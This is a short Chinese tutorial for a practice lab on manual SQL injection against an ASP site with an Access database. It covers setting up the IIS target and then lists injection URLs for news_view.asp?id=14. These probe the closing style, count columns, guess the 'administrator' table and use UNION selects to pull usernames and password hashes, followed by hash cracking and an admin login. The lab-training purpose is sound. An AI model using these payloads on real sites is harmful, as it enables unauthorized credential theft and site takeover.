ACCESS⼿⼯注⼊

1.靶场搭建

下载地址：https://pan.baidu.com/s/1y6Gkvo7Wsbwj_zNbaBiCmA 提取码: kjg7

将下载好的文件解压到网站根目录（wwwroot）之下

 打开iis,绑定ip

启用父路径，点击调试属性，将错误发送给浏览器设置为true

启动32位运行程序

2.访问网站

访问 ’绑定的IP‘/index.csp

3.寻找注入点

4.判断闭合方式

news_view.asp?id=14' // 报错

news_view.asp?id=14 and 1=1 // 正常

news_view.asp?id=14 and 1=2 // 错误

 5.判断列数

news_view.asp?id=14 order by 7 // ⻚⾯正常

news_view.asp?id=14 order by 8 // ⻚⾯报错，说明有 7 列

6. 寻找目标表

news_view.asp?id=14 and exists(select * from admin)  //报错，说明该表不存在

 news_view.asp?id=14 and exists(select * from users)  //报错，说明该表不存在

news_view.asp?id=14 and exists(select * from administrator)  //未报错，说明从该表返回数据，该表存在

7.判断回显位置

 news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator //⻚⾯正常

 8.猜字段名

news_view.asp?id=14 union select 1,username,3,4,5,6,7 from administrator   //报错，说明没有username列

 news_view.asp?id=14 union select 1,user_name,3,4,5,6,7 from administrator   //正常，说明存在这⼀列

news_view.asp?id=14 union select 1,user_name,password,4,5,6,7 from administ

rator// 成功查到密码

 9.MD5解码

10.扫描目录

找到后台登录

 登录

完成！！！